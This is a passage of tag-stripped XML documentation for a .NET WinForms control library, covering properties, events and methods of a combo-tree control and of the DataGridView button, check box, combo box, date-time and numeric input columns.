has changed. + + + + + Occurs when value of SelectedIndex property has changed. + + + + + Occurs when ColumnHeader is automatically created by control as result of data binding and provides you with opportunity to modify it. + + + + + Gets or sets the tree node that is currently selected in the tree control. + + + If no Node is currently selected, the + SelectedNode property is a null reference (Nothing in Visual + Basic). + + + + + Gets or sets whether selection change on popup tree closes the popup. Default value is true. + + + + + Gets or sets the field name that holds the text that will be displayed in the control for selected item. When not set all items set in DisplayMembers will be displayed in control. + + + + + Gets or sets the field name that holds the text that will be displayed in the control for selected item. When not set all items set in DisplayMembers will be displayed in control. + + + + + Gets or sets the comma separated list of property or column names to display on popup tree control. + + + + + Gets or sets the data source for the ComboTree. Expected is an object that implements the IList or IListSource interfaces, + such as a DataSet or an Array. The default is null. + + + + + Gets or sets a value indicating whether formatting is applied to the DisplayMembers property of the control. + + + + + Gets or sets the format-specifier characters that indicate how a value is to be displayed. + + + + + Gets or sets the IFormatProvider that provides custom formatting behavior. + + + + + Gets or sets comma separated field or property names that holds the value that is used to identify node and parent node. Format expected is: FieldNodeId,ParentNodeFieldId. For example if your table represents departments, you have DepartmentId field which uniquely identifies a department and ParentDepartmentId field which identifies parent of the department if any you would set this property to DepartmentId,ParentDepartmentId. + Note that you can only use ParentFieldNames or GroupingMembers property but not both. If both are set ParentFieldName take precedence. + + + + + Gets or sets comma separated list of field or property names that are used for grouping when data-binding is used. + + + + + Gets or sets style for automatically created group nodes when data-binding is used and GroupingMembers property is set. + + + Name of the style assigned or null value indicating that no style is used. + Default value is null. + + + + + Gets or sets the index specifying the currently selected item. + + + + + Gets or sets the property to use as the actual value for the items in the control. Applies to data-binding scenarios. SelectedValue property will return the value of selected node as indicated by this property. + + + + + Gets or sets the value of the member property specified by the ValueMember property. + + + + + Gets or sets the watermark font. + + + + + Gets or sets the watermark text color. + + + + + Gets or sets whether watermark text is displayed if set for the input items. Default value is true. + + + + + Gets or sets the watermark text displayed on the input control when control is empty. + + + + + Gets or sets the watermark text alignment. Default value is left. + + + + + Gets or sets whether FocusHighlightColor is used as background color to highlight text box when it has input focus. Default value is false. + + + + + Gets or sets the color used as background color to highlight text box when it has input focus and focus highlight is enabled. + + + + + Specifies the background style of the control. + + + + + Gets the object that describes the settings for the button that shows drop-down when clicked. + + + + + Gets the object that describes the settings for the button that clears the content of the control when clicked. + + + + + Gets the object that describes the settings for the custom button that can execute an custom action of your choosing when clicked. + + + + + Gets the object that describes the settings for the custom button that can execute an custom action of your choosing when clicked. + + + + + Indicates whether Enter key when pressed while control has input focus toggles the popup. Default value is true. + + + + + Gets or sets whether keyboard incremental search is enabled. Default value is true. + + + + + Gets or sets whether during keyboard search selected node can be set to nothing/null if there is no match found. + Default value is true. + + + + + Gets or sets the keyboard search buffer expiration timeout. Default value is 1000 which indicates that + key pressed within 1 second will add to the search buffer and control will be searched for node text + that begins with resulting string. Setting this value to 0 will disable the search buffer. + + + + + Indicates the custom popup location for the ComboTree popup + + + + + Gets or sets the reference of the control that will be displayed on popup that is shown when drop-down button is clicked. + + + + + Gets the collection of BaseItem derived items displayed on popup menu. + + + + + Gets the reference to internal AdvTree control that is displayed on popup Use it to get access to the AdvTree events and properties. + + + + + Gets or sets the height in pixels of the drop-down portion of the ComboTreeBox control. + + + + + Gets or sets the width in pixels of the drop-down portion of the ComboTreeBox control. + + + + + Gets or sets a value indicating whether the combo box is displaying its drop-down portion. + + + + + Gets the collection of tree nodes that are assigned to the popup tree view control. + + + A NodeCollection that represents the tree nodes + assigned to the tree control. + + + The Nodes property holds a collection of Node objects, each of which has a + Nodes property that can contain its own NodeCollection. + + + + + Gets the collection of column headers that appear in the popup tree. + + + By default there are no column headers defined. In that case tree control + functions as regular tree control where text has unrestricted width. + If you want to restrict the horizontal width of the text but not display + column header you can create one column and set its width to the width desired and + set its Visible property to false. + + + + + Gets or sets whether column headers are visible if they are defined through Columns collection. Default value is true. + + + + + Gets or sets whether grid lines are displayed when columns are defined. Default value is true. + + + + + Gets or sets the grid lines color. + + + + + Gets or sets whether horizontal grid lines between each row are displayed. Default value is false. + + + + + Gets or sets whether node is highlighted when mouse enters the node. Default value is false. + + + There are two ways to enable the node hot-tracking. You can set the HotTracking property to true in which case the + mouse tracking is enabled using system colors specified in TreeColorTable. You can also define the NodeStyleMouseOver + style which gets applied to the node when mouse is over the node. + + + + + Gets or sets the node selection box style for popup tree control. + + SelectionBox Property + SelectionBoxSize Property + SelectionBoxFillColor Property + SelectionBoxBorderColor Property + + + + Gets or sets the ImageList that contains the Image objects used by the tree nodes. + + + + + Gets or sets the image-list index value of the default image that is displayed by the tree nodes. + + + + + Gets or sets the control background color when control is disabled. Default value is an empty color which indicates that system background color is used when control is disabled. + + + + + Gets or sets the command assigned to the item. Default value is null. + Note that if this property is set to null Enabled property will be set to false automatically to disable the item. + + + + + Gets or sets user defined data value that can be passed to the command when it is executed. + + + + + Represents the method that will handle converting for ComboTree control. + + + + + + + Gets the reference to the item being converted. + + + + + Get the reference to the name of the field or property on the item that needs conversion. + + + + + Defines delegate for data node based events. + + + + + Defines event arguments for data node based events. + + + + + Gets or sets the node that is created for data item. + + + + + Gets the data-item node is being created for. + + + + + Initializes a new instance of the DataNodeEventArgs class. + + + + + + + Defines delegate for data column based events. + + + + + Defines event arguments for data column based events. + + + + + Gets or sets the column header that is created for data. + + + + + Initializes a new instance of the DataColumnEventArgs class. + + + + + + Initializes a new instance of the ControlWithBackgroundStyle class. + + + + + Resets style to default value. Used by windows forms designer. + + + + + Gets or sets whether anti-alias smoothing is used while painting. Default value is true. + + + + + Specifies the background style of the control. + + + + + Represents the DataGridView control with enhanced Office 2007 style. + + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Indicates whether control will delay call to OnResize base DataGridView method when control is running on MDI Child which was introduced as workaround to an issue in control. + + + + + Gets or sets the scroll-bar visual style. + + + + + Gets or sets whether selected column header is highlighted. Default value is true. + + + + + Gets or sets whether select all sign displayed in top-left corner of the grid is visible. Default value is true. + + + + + Gets or sets whether enhanced selection for the cells is painted in Office 2007 style. Default value is true. + + + + + Indicates whether BackgroundColor property set on DataGridView is obeyed instead of using system color scheme color. + + + + + GetContentBounds + + + + + + + + + Cell painting + + + + + + + + + + + + + + + + Paints the Button background + + + + + + + + Paints the button background and content + + + + + + + + + + + OnMouseEnter + + + + + + Establishes the given rowIndex as the + ActiveRowIndex. + + + + + + Processes MouseLeave events + + + + + + Processes MouseMove events + + + + + + Processes MouseDown events + + + + + + Processes MouseUp events + + + + + + Determines if the given part is set + + + + + + + + Gets the background bounds for the given cell + + + + + + + + Gets the button bounds for the given cell + + + + + + + + GetValue + + + + + + + Initiates the refresh of the cell button + + + + + + + Gets the Type of the editing control associated with the cell + + + + + FormattedValueType + + + + + Gets whether the Column cells will fully paint + their cell background and content + + + + + Constructor + + + + + Gets whether ImageFixedSize property should be serialized. + + + + + Hooks or unhooks our system events + + + + + + Processes Button expand changes + + + + + + + ButtonItem_Click + + + + + + + Gets the cell paint bitmap + + + + + + + Invokes BeforeCellPaint user events + + Row index + Column index + + + + Clones the ButtonX Column + + + + + + Dispose + + + + + + Gets or sets the active row index + + + + + Gets the Control Button + + + + + Gets or sets the Current row index + + + + + Gets or sets a expanded button + was just closed + + + + + Gets or sets the cell callback state + + + + + Gets or sets whether Checked property is automatically inverted, button checked/unchecked, when button is clicked. Default value is false. + + + + + Indicates whether the button will auto-expand when clicked. + When button contains sub-items, sub-items will be shown only if user + click the expand part of the button. Setting this property to true will expand the button and show sub-items when user + clicks anywhere inside of the button. Default value is false which indicates that button is expanded only + if its expand part is clicked. + + + + + Gets or set a value indicating whether the button is in the checked state. + + + + + Gets or sets button Color Scheme. ColorScheme does not apply to Office2007 styled buttons. + + + + + Gets or sets the predefined color of the button. Color specified applies to buttons with Office 2007 style only. It does not have + any effect on other styles. Default value is eButtonColor.BlueWithBackground + + + + + Gets or sets the custom color name. Name specified here must be represented by the corresponding object with the same name that is part + of the Office2007ColorTable.ButtonItemColors collection. See documentation for Office2007ColorTable.ButtonItemColors for more information. + If color table with specified name cannot be found default color will be used. Valid settings for this property override any + setting to the Color property. Applies to items with Office 2007 style only. + + + + + Specifies the image for the button when items Enabled property is set to false. + + + + + Gets or sets whether text-markup support is enabled for items Text property. Default value is true. + Set this property to false to display HTML or other markup in the item instead of it being parsed as text-markup. + + + + + Gets or sets whether the control can respond to user interaction + + + + + Indicates the way button is rendering the mouse over state. Setting the value to + Color will render the image in gray-scale when mouse is not over the item. + + + + + Specifies the image for the button when mouse is over the item. + + + + + Specifies the Button image. + + + + + Sets fixed size of the image. Image will be scaled and painted it size specified. + + + + + Gets/Sets the image position inside the button. + + + + + Gets or sets the amount of spacing between button image if specified and text. + + + + + Gets or sets the location of popup in relation to it's parent. + + + + + Specifies the image for the button when mouse left button is pressed. + + + + + Gets or sets an shape descriptor for the button + which describes the shape of the button. Default value is null + which indicates that system default shape is used. + + + + + Gets or sets whether button displays the expand part that indicates that button has popup. + + + + + Gets or sets whether button appears as split button. Split button appearance + divides button into two parts. Image which raises the click event when clicked + and text and expand sign which shows button sub items on popup menu when clicked. + Button must have both text and image visible (ButtonStyle property) in order to + appear as a full split button. + + + + + Gets/Sets the visual style for the button. + + + + + Returns the collection of sub items. + + + + + Gets or sets the width of the expand part of the button item. + + + + + Gets or sets the default Text to display on the Button + + + + + Gets or sets the text alignment. Applies only when button text is not composed using text markup. Default value is center. + + + + + Gets the Cell paint setting for the ButtonX control + + + + + BeforeCellPaintEventArgs + + + + + RowIndex of cell being painted + + + + + ColumnIndex of cell being painted + + + + + GetAdjustedEditingControlBounds + + + + + + + + GetPreferredSize + + + + + + + + + + Cell painting + + + + + + + + + + + + + + + + Paints the Button background + + + + + + + + Paints the button background and content + + + + + + + + + + + OnMouseEnter + + + + + + Processes MouseLeave events + + + + + + Processes MouseMove events + + + + + + Processes MouseDown events + + + + + + Processes MouseUp events + + + + + + Determines if the given part is set + + + + + + + + Gets the background bounds for the given cell + + + + + + + + Gets the Content bounds for the given cell + + + + + + + Initiates the refresh of the cell + + + + + + + Gets the Type of the editing control associated with the cell + + + + + FormattedValueType + + + + + Constructor + + + + + HookEvents + + + + + + CheckBoxItem_Click + + + + + + + CheckBoxItem_DoubleClick + + + + + + + Gets the cell paint bitmap + + + + + + + Invokes BeforeCellPaint user events + + Row index + Column index + + + + Clones the ButtonX Column + + + + + + Dispose + + + + + + Gets or sets the active row index + + + + + Gets the Control Button + + + + + Gets or sets the Current row index + + + + + Gets or sets the MouseDown row index + + + + + Gets or sets the cell callback state + + + + + Gets or sets the custom image that is displayed instead default check box representation when check box is checked. + + + + + Gets or sets the custom image that is displayed instead default check box representation when check box is unchecked. + + + + + Gets or sets the custom image that is displayed instead default check box representation when check box is in indeterminate state. + + + + + Gets or sets the check box position relative to the text. + Default value is Left. + + + + + Gets or set a value indicating whether the button is in the checked state. + + + + + Specifies the state of the control, that can be + checked, unchecked, or set to an indeterminate state. + + + + + CheckValue + + + + + Gets or sets the value that represents the Checked state value of the check + box when CheckValue property is set to that value. Default value is null. + + + + + Gets or sets the value that represents the Indeterminate state of the check + box when CheckValue property is set to that value. Default value is null. + + + + + Gets or sets the value that represents the Unchecked state value of check + box when CheckValue property is set to that value. Default value is 'N'. + + + + + Gets or sets whether empty string is consider as null value + during CheckValue value comparison. Default value is true. + + + + + Gets or sets whether the control can respond to user interaction + + + + + Gets or sets whether text-markup support is enabled for controls + Text property. Default value is true. Set this property to false to + display HTML or other markup in the control instead of it being parsed as text-markup. + + + + + Gets or sets the default Text to display + + + + + Gets or sets the text color. Default value is + Color.Empty which indicates that default color is used. + + + + + Gets or sets whether text assigned to the check box is visible. + Default value is true. + + + + + Gets or sets a value indicating whether the CheckBox will allow + three check states rather than two. If the ThreeState property is + set to true CheckState property should be used instead of Checked + property to set the extended state of the control. + + + + + Gets the Cell paint setting for the ButtonX control + + + + + InitializeEditingControl + + + + + + + + DetachEditingControl + + + + + Click + + + + + + + DrawItem + + + + + + + DropDownChange + + + + + + + MeasureItem + + + + + + + PositionEditingControl + + + + + + + + + + + + + + GetAdjustedEditingControlBounds + + + + + + + + GetPreferredSize + + + + + + + + + + ParseFormattedValue + + + + + + + + + + Cell painting + + + + + + + + + + + + + + + + Paints the cell background + + + + + + + + Paints the cell content + + + + + + + + + + + + DrawControl + + + + + + + + + + + DrawText + + + + + + + + + MustRenderVisibleControl + + + + + + + OnMouseEnter + + + + + + Gets the background bounds for the given cell + + + + + + + + Gets the button bounds for the given cell + + + + + + + Determines if the given part is set + + + + + + + + Gets the Type of the editing control associated with the cell + + + + + Constructor + + + + + Indicates whether property should be serialized by Windows Forms designer. + + + + + Resets the property to default value. + + + + + HookEvents + + + + + + ComboBoxEx_DataSourceChanged + + + + + + + DoComboBoxEx_Click + + + + + + + DoComboBoxEx_DrawItem + + + + + + + DoComboBoxEx_DropDownChange + + + + + + + DoComboBoxEx_MeasureItem + + + + + + + Gets the cell paint bitmap + + + + + + + Invokes BeforeCellPaint user events + + Row index + Column index + + + + Clones the ButtonX Column + + + + + + Dispose + + + + + + Occurs right before a ComboBox Cell is painted + + + + + Occurs when the ComboBox is clicked + + + + + Occurs when a visual aspect of an owner-drawn ComboBox changes + + + + + Occurs when drop down portion of the ComboBox is shown or hidden. + + + + + Occurs each time an owner-drawn ComboBox item needs + to be drawn and when the sizes of the list items are determined + + + + + Gets the underlying ComboBoxEx control + + + + + Gets or sets the ComboBox CurrencyManager + + + + + Gets or sets a custom System.Collections.Specialized.StringCollection + to use when the AutoCompleteSource property is set to CustomSource. + + + + + Gets or sets an option that controls how automatic completion works for the ComboBox. + + + + + Gets or sets a value specifying the source of complete strings used for automatic completion. + + + + + Gets or sets the data source that populates the selections for the combo box + + + + + Gets or sets a string that specifies the property or column + from which to retrieve strings for display in the combo box. + + + + + Gets or sets whether the control + will be displayed for the current cell only. + + + + + Gets or sets a value indicating whether user code or + operating system code will handle drawing of elements in the list. + + + + + Gets or sets a value specifying the style of the combo box. + + + + + Gets or sets the height in pixels of the drop-down portion of the ComboBox. + + + + + Gets or sets the width of the drop-down lists of the combo box. + + + + + Gets or sets whether the control can respond to user interaction + + + + + Gets or sets the flat style appearance of the column's cells. + + + + + Gets or sets whether control displays focus cues when focused. + + + + + Gets or sets the format-specifier + characters that indicate how a value is to be displayed. + + + + + Gets or sets a value indicating whether formatting is applied to the DisplayMember property. + + + + + Gets or sets the ImageList control used by Combo box to draw images. + + + + + Gets or sets the Input Method Editor (IME) mode of the control. + + + + + Gets or sets a value indicating whether + the control should resize to avoid showing partial items. + + + + + Gets or sets whether control is stand-alone control. + Stand-alone flag affects the appearance of the control in Office 2007 style. + + + + + Gets or sets the height of an item in the combo box. + + + + + Gets the collection of objects used as selections in the combo box. + + + + + Gets or sets the maximum number of items + in the drop-down list of the cells in the column. + + + + + Gets or sets the number of characters a user can type into the ComboBox. + + + + + Gets or sets a value indicating whether control's + elements are aligned to support locales using right-to-left fonts. + + + + + Gets or sets whether the items in the combo box are sorted. + + + + + Determines the visual style applied to + the combo box when shown. Default style is Office 2007. + + + + + Gets or sets the text associated with this control. + + + + + Gets or sets a string that specifies the property or column + from which to get values that correspond to the selections in the drop-down list. + + + + + Gets or sets the watermark hiding behaviour. Default value + indicates that watermark is hidden when control receives input focus. + + + + + Gets or sets the watermark text color. + + + + + Gets or sets whether watermark text is + displayed when control is empty. Default value is true. + + + + + Gets or sets the watermark font. + + + + + Gets or sets the watermark (tip) text displayed inside of the control when Text + is not set and control does not have input focus. This property supports text-markup. + Note that WatermarkText is not compatible with the auto-complete feature of .NET Framework 2.0. + + + + + Gets the Cell paint setting for the control + + + + + DropDownChangeEventArgs + + + + + ColumnIndex + + + + + Expanded state + + + + + RowIndex + + + + + Handles OnTextChanged events + + + + + + OnSelectedIndexChanged + + + + + + NotifyDataGridViewOfValueChange + + + + + ApplyCellStyleToEditingControl + + + + + + Gets EditingControlFormattedValue + + + + + + + Gets whether the given key wants to be processed + by the Control + + + + + + + + PrepareEditingControlForEdit + + + + + + Gets or sets the DataGridView + + + + + Gets or sets the Control Formatted Value + + + + + Gets or sets the Control RoeIndex + + + + + Gets or sets the Control ValueChanged state + + + + + Gets the Panel Cursor + + + + + Gets whether to RepositionEditingControlOnValueChange + + + + + InitializeEditingControl + + + + + + + + DetachEditingControl + + + + + ButtonClearClick + + + + + + + ButtonCustomClick + + + + + + + ButtonCustom2Click + + + + + + + ButtonDropDownClick + + + + + + + ButtonFreeTextClick + + + + + + + ConvertFreeTextEntry + + + + + + + PositionEditingControl + + + + + + + + + + + + + + GetAdjustedEditingControlBounds + + + + + + + + GetPreferredSize + + + + + + + + + + Cell painting + + + + + + + + + + + + + + + + Paints the cell background + + + + + + + + Paints the cell content + + + + + + + + + + + DrawControl + + + + + + + + DrawText + + + + + + + + Gets the background bounds for the given cell + + + + + + + + Gets the button bounds for the given cell + + + + + + + GetValue + + + + + + + GetHorizontalAlignment + + + + + + + Determines if the given part is set + + + + + + + + Gets the Type of the editing control associated with the cell + + + + + FormattedValueType + + + + + Constructor + + + + + Resets style to default value. Used by windows forms designer. + + + + + Gets whether Value property should be serialized by Windows Forms designer. + + true if value serialized otherwise false. + + + + Gets whether Value property should be serialized by Windows Forms designer. + + true if value serialized otherwise false. + + + + DoButtonClearClick + + + + + + + DoButtonCustomClick + + + + + + + DoButtonCustom2Click + + + + + + + DoButtonDropDownClick + + + + + + + DoButtonFreeTextClick + + + + + + + DoConvertFreeTextEntry + + + + + + + Gets the cell paint bitmap + + + + + + + Invokes BeforeCellPaint user events + + Row index + Column index + + + + Clones the ButtonX Column + + + + + + Occurs right before a DateTimeInput Cell is painted + + + + + Occurs when Clear button is clicked and allows you + to cancel the default action performed by the button + + + + + Occurs when ButtonCustom control is clicked + + + + + Occurs when ButtonCustom2 control is clicked + + + + + Occurs when Drop-Down button that shows calendar + is clicked and allows you to cancel showing of the popup + + + + + Occurs when Free-Text button is clicked + and allows you to cancel its default action + + + + + Occurs if Free-Text entry value is not natively recognized by + the control and provides you with opportunity to convert that + value to the value the control expects + + + + + Gets the underlying DateTimeInput control + + + + + Gets or sets whether empty null/nothing state of the control is + allowed. Default value is true which means that IsEmpty property may + return true if input value is resets or ValueObject set to null/nothing. + + + + + Gets or sets whether input focus is automatically advanced + to next input field when input is complete in current one. + + + + + Gets or sets whether first day in month is automatically + selected on popup date picker when month or year is changed. + + + + + Gets or sets whether auto-overwrite functionality for input is enabled. + When in auto-overwrite mode input field will erase existing entry + and start new one if typing is continued after InputComplete method is called. + + + + + Specifies the background style of the control. + + + + + Gets the object that describes the settings for the button + that clears the content of the control when clicked. + + + + + Gets the object that describes the settings for the custom button + that can execute an custom action of your choosing when clicked. + + + + + Gets the object that describes the settings for the custom button that can execute an custom action of your choosing when clicked. + + + + + Gets the object that describes the settings for the button + that shows drop-down when clicked. + + + + + Gets the object that describes the settings for the button + that switches the control into the free-text entry mode when clicked. + + + + + Gets or sets the custom date/time format string. + + + + + Gets or sets whether the control + will be displayed for the current cell only. + + + + + Gets or sets whether empty input values (year, month or day) are + set to defaults while user is entering data. Default value is true. + + + + + Gets or sets whether the control can respond to user interaction + + + + + Gets or sets the format date/time is displayed in. To specify + custom format set this value to Custom and specify custom format + using CustomFormat property. + + + + + Gets or sets the input field alignment inside the control + + + + + Gets or sets whether input part of the control is read-only. When set + to true the input part of the control becomes read-only and does not allow + the typing. However, drop-down part if visible still allows user to change + the value of the control. Use this property to allow change of the value + through drop-down picker only. + + + + + Gets or sets whether check box shown using ShowCheckBox + property which locks/unlocks the control update is checked. + + + + + Gets or sets the maximum date and time that can be selected in the control. + + + + + Gets or sets the minimum date and time that can be selected in the control. + + + + + Gets the reference to the internal MonthCalendarItem control which is used to display calendar when drop-down is open. + + + + + List of characters that when pressed would select next input field. For example if you are + allowing time input you could set this property to : so when user presses the : character, + the input is forwarded to the next input field. + + + + + Gets or sets a value indicating whether a check box is + displayed to the left of the input value. Set to true if a check box + is displayed to the left of the input value; otherwise, false. The default is false. + + When the ShowCheckBox property is set to true, a check box is displayed + to the left of the input in the control. When the check box is selected, the value + can be updated. When the check box is cleared, the value is unable to be changed. + You can handle the LockUpdateChanged event to be notified when this check box is checked + and unchecked. Use LockUpdateChecked property to get or sets whether check box is checked. + + + + + + Gets or sets a value indicating whether a spin button control + (up-down control) is used to adjust the current value. The default is false. + + When the ShowUpDown property is set to true, a spin button control + is shown to adjust value of currently focused input item. The value can + be adjusted by using the up and down buttons to change the value. + + + + + + Gets the Cell paint setting for the control + + + + + Handles OnValueChanged events + + + + + + ApplyCellStyleToEditingControl + + + + + + Gets EditingControlFormattedValue + + + + + + + Gets whether the given key wants to be processed + by the Control + + + + + + + + PrepareEditingControlForEdit + + + + + + Gets or sets the Edit state + + + + + Gets or sets the DataGridView + + + + + Gets or sets the Control Formatted Value + + + + + Gets or sets the Control RoeIndex + + + + + Gets or sets the Control ValueChanged state + + + + + Gets the Panel Cursor + + + + + Gets whether to RepositionEditingControlOnValueChange + + + + + InitializeEditingControl + + + + + + + + DetachEditingControl + + + + + ButtonClearClick + + + + + + + ButtonCustomClick + + + + + + + ButtonCustom2Click + + + + + + + ButtonDropDownClick + + + + + + + ButtonFreeTextClick + + + + + + + ConvertFreeTextEntry + + + + + + + PositionEditingControl + + + + + + + + + + + + + + GetAdjustedEditingControlBounds + + + + + + + + GetPreferredSize + + + + + + + + + + Cell painting + + + + + + + + + + + + + + + + Paints the cell background + + + + + + + + Paints the cell content + + + + + + + + + + + DrawControl + + + + + + + + DrawText + + + + + + + + Gets the background bounds for the given cell + + + + + + + + Gets the button bounds for the given cell + + + + + + + GetValue + + + + + + + GetHorizontalAlignment + + + + + + + Determines if the given part is set + + + + + + + + Gets the Type of the editing control associated with the cell + + + + + FormattedValueType + + + + + Constructor + + + + + Resets style to default value. Used by windows forms designer. + + + + + DoButtonClearClick + + + + + + + DoButtonCustomClick + + + + + + + DoButtonCustom2Click + + + + + + + DoButtonDropDownClick + + + + + + + DoButtonFreeTextClick + + + + + + + DoConvertFreeTextEntry + + + + + + + Gets the cell paint bitmap + + + + + + + Invokes BeforeCellPaint user events + + Row index + Column index + + + + Clones the ButtonX Column + + + + + + Occurs right before a DoubleInput Cell is painted + + + + + Occurs when Clear button is clicked and allows you + to cancel the default action performed by the button + + + + + Occurs when ButtonCustom control is clicked + + + + + Occurs when ButtonCustom2 control is clicked + + + + + Occurs when Drop-Down button that shows calendar + is clicked and allows you to cancel showing of the popup + + + + + Occurs when Free-Text button is clicked + and allows you to cancel its default action + + + + + Occurs if Free-Text entry value is not natively recognized by + the control and provides you with opportunity to convert that + value to the value the control expects + + + + + DoubleInput + + + + + Specifies the background style of the control. + + + + + Gets the object that describes the settings for the button + that clears the content of the control when clicked. + + + + + Gets the object that describes the settings for the custom button + that can execute an custom action of your choosing when clicked. + + + + + Gets the object that describes the settings for the custom button that can execute an custom action of your choosing when clicked. + + + + + Gets the object that describes the settings for the button + that shows drop-down when clicked. + + + + + Gets the object that describes the settings for the button + that switches the control into the free-text entry mode when clicked. + + + + + Gets or sets the Numeric String Format that is used to format + the numeric value entered for display purpose. Read more about + available formats in MSDN under "Standard Numeric Format Strings" + and "Custom Numeric Format Strings" topics. + + The format specified here indicates the format for display purpose + only, not for the input purpose. For example to display the number + in system Currency format set the DisplayFormat to 'C'. + + + + + + Gets or sets whether the control + will be displayed for the current cell only. + + + + + Gets or sets whether the control can respond to user interaction + + + + + Gets or sets the value to increment or decrement the value of the + control when the up or down buttons are clicked. + + + + + Gets or sets the input field alignment inside the control + + + + + Gets or sets whether check box shown using ShowCheckBox + property which locks/unlocks the control update is checked. + + + + + Gets or sets the maximum value that can be entered. + + + + + Gets or sets the minimum value that can be entered. + + + + + Gets or sets a value indicating whether a check box is + displayed to the left of the input value. Set to true if a check box + is displayed to the left of the input value; otherwise, false. The default is false. + + When the ShowCheckBox property is set to true, a check box is displayed + to the left of the input in the control. When the check box is selected, the value + can be updated. When the check box is cleared, the value is unable to be changed. + You can handle the LockUpdateChanged event to be notified when this check box is checked + and unchecked. Use LockUpdateChecked property to get or sets whether check box is checked. + + + + + + Gets or sets a value indicating whether a spin button control + (up-down control) is used to adjust the current value. The default is false. + + When the ShowUpDown property is set to true, a spin button control + is shown to adjust value of currently focused input item. The value can + be adjusted by using the up and down buttons to change the value. + + + + + + Gets the Cell paint setting for the control + + + + + Handles OnValueChanged events + + + + + + ApplyCellStyleToEditingControl + + + + + + Gets EditingControlFormattedValue + + + + + + + Gets whether the given key wants to be processed + by the Control + + + + + + + + PrepareEditingControlForEdit + + + + + + Gets or sets the Edit state + + + + + Gets or sets the DataGridView + + + + + Gets or sets the Control Formatted Value + + + + + Gets or sets the Control RoeIndex + + + + + Gets or sets the Control ValueChanged state + + + + + Gets the Panel Cursor + + + + + Gets whether to RepositionEditingControlOnValueChange + + + + + InitializeEditingControl + + + + + + + + DetachEditingControl + + + + + ButtonClearClick + + + + + + + ButtonCustomClick + + + + + + + ButtonCustom2Click + + + + + + + ButtonDropDownClick + + + + + + + ButtonFreeTextClick + + + + + + + ConvertFreeTextEntry + + + + + + + PositionEditingControl + + + + + + + + + + + + + + GetAdjustedEditingControlBounds + + + + + + + + GetPreferredSize + + + + + + + + + + Cell painting + + + + + + + + + + + + + + + + Paints the cell background + + + + + + + + Paints the cell content + + + + + + + + + + + DrawControl + + + + + + + + DrawText + + + + + + + + Gets the background bounds for the given cell + + + + + + + + Gets the button bounds for the given cell + + + + + + + GetValue + + + + + + + GetHorizontalAlignment + + + + + + + Determines if the given part is set + + + + + + + + Gets the Type of the editing control associated with the cell + + + + + FormattedValueType + + + + + Constructor + + + + + Resets style to default value. Used by windows forms designer. + + + + + DoButtonClearClick + + + + + + + DoButtonCustomClick + + + + + + + DoButtonCustom2Click + + + + + + + DoButtonDropDownClick + + + + + + + DoButtonFreeTextClick + + + + + + + DoConvertFreeTextEntry + + + + + + + Gets the cell paint bitmap + + + + + + + Invokes BeforeCellPaint user events + + Row index + Column index + + + + Clones the ButtonX Column + + + + + + Occurs right before a DateTimeInput Cell is painted + + + + + Occurs when Clear button is clicked and allows you + to cancel the default action performed by the button + + + + + Occurs when ButtonCustom control is clicked + + + + + Occurs when ButtonCustom2 control is clicked + + + + + Occurs when Drop-Down button that shows calendar + is clicked and allows you to cancel showing of the popup + + + + + Occurs when Free-Text button is clicked + and allows you to cancel its default action + + + + + Occurs if Free-Text entry value is not natively recognized by + the control and provides you with opportunity to convert that + value to the value the control expects + + + + + IntegerInput + + + + + Specifies the background style of the control. + + + + + Gets the object that describes the settings for the button + that clears the content of the control when clicked. + + + + + Gets the object that describes the settings for the custom button + that can execute an custom action of your choosing when clicked. + + + + + Gets the object that describes the settings for the custom button that can execute an custom action of your choosing when clicked. + + + + + Gets the object that describes the settings for the button + that shows drop-down when clicked. + + + + + Gets the object that describes the settings for the button + that switches the control into the free-text entry mode when clicked. + + + + + Gets or sets the Numeric String Format that is used to format + the numeric value entered for display purpose. Read more about + available formats in MSDN under "Standard Numeric Format Strings" + and "Custom Numeric Format Strings" topics. + + The format specified here indicates the format for display purpose + only, not for the input purpose. For example to display the number + in system Currency format set the DisplayFormat to 'C'. + + + + + + Gets or sets whether the control + will be displayed for the current cell only. + + + + + Gets or sets whether the control can respond to user interaction + + + + + Gets or sets the value to increment or decrement the value of the + control when the up or down buttons are clicked. + + + + + Gets or sets the input field alignment inside the control + + + + + Gets or sets whether check box shown using ShowCheckBox + property which locks/unlocks the control update is checked. + + + + + Gets or sets the maximum value that can be entered. + + + + + Gets or sets the minimum value that can be entered. + + + + + Gets or sets a value indicating whether a check box is + displayed to the left of the input value. Set to true if a check box + is displayed to the left of the input value; otherwise, false. The default is false. + + When the ShowCheckBox property is set to true, a check box is displayed + to the left of the input in the control. When the check box is selected, the value + can be updated. When the check box is cleared, the value is unable to be changed. + You can handle the LockUpdateChanged event to be notified when this check box is checked + and unchecked. Use LockUpdateChecked property to get or sets whether check box is checked. + + + + + + Gets or sets a value indicating whether a spin button control + (up-down control) is used to adjust the current value. The default is false. + + When the ShowUpDown property is set to true, a spin button control + is shown to adjust value of currently focused input item. The value can + be adjusted by using the up and down buttons to change the value. + + + + + + Gets the Cell paint setting for the control + + + + + Handles OnValueChanged events + + + + + + ApplyCellStyleToEditingControl + + + + + + Gets EditingControlFormattedValue + + + + + + + Gets whether the given key wants to be processed + by the Control + + + + + + + + PrepareEditingControlForEdit + + + + + + Gets or sets the Edit state + + + + + Gets or sets the DataGridView + + + + + Gets or sets the Control Formatted Value + + + + + Gets or sets the Control RoeIndex + + + + + Gets or sets the Control ValueChanged state + + + + + Gets the Panel Cursor + + + + + Gets whether to RepositionEditingControlOnValueChange + + + + + InitializeEditingControl + + + + + + + + DetachEditingControl + + + + + ButtonClearClick + + + + + + + ButtonCustomClick + + + + + + + ButtonCustom2Click + + + + + + + ButtonDropDownClick + + + + + + + PositionEditingControl + + + + + + + + + + + + + + GetAdjustedEditingControlBounds + + + + + + + + GetPreferredSize + + + + + + + + + + Cell painting + + + + + + + + + + + + + + + + Paints the cell background + + + + + + + + Paints the cell content + + + + + + + + + + + DrawControl + + + + + + + + DrawText + + + + + + + + Gets the background bounds for the given cell + + + + + + + + Gets the button bounds for the given cell + + + + + + + GetValue + + + + + + + GetHorizontalAlignment + + + + + + + Determines if the given part is set + + + + + + + + Gets the Type of the editing control associated with the cell + + + + + Constructor + + + + + Resets style to default value. Used by windows forms designer. + + + + + Indicates whether property should be serialized by Windows Forms designer. + + + + + Resets the property to default value. + + + + + DoButtonClearClick + + + + + + + DoButtonCustomClick + + + + + + + DoButtonCustom2Click + + + + + + + DoButtonDropDownClick 